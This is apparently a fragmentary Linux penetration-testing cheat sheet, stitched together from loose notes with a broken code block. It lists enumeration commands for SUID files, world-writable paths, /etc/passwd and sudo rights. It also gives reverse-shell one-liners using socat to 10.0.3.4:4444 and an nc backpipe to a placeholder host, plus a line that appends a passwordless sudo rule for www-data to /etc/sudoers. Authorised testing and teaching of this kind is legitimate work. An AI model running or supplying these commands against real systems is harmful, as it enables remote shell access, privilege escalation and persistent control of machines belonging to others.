A Penetration Testing Framework
find / -xdev -type d -perm -0002 -ls 2> /dev/null
- Find World Writable Files
```ShellSession
find / -xdev -type f -perm -0002 -ls 2> /dev/null
find / -perm -4000 -user root -exec ls -ld {} \; 2> /dev/null
cat /etc/*-release
netstat -antup
sudo -l
uname -a
cat /etc/cron*
ip addr
cat /etc/passwd
$ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
- Connect
$ socat file:`tty`,raw,echo=0 tcp-listen:4444
mknod /tmp/backpipe p; /bin/sh 0< /tmp/backpipe | nc <ip> <port> 1> /tmp/backpipe; rm /tmp/backpipe
dpkg -l <application name>
Sometimes checking /opt
/tmp
/var
/usr
might help.
Edit sudoers file and grant sudo access to the current user (www-data in this case) with no password
echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers && chmod 440 /etc/sudoers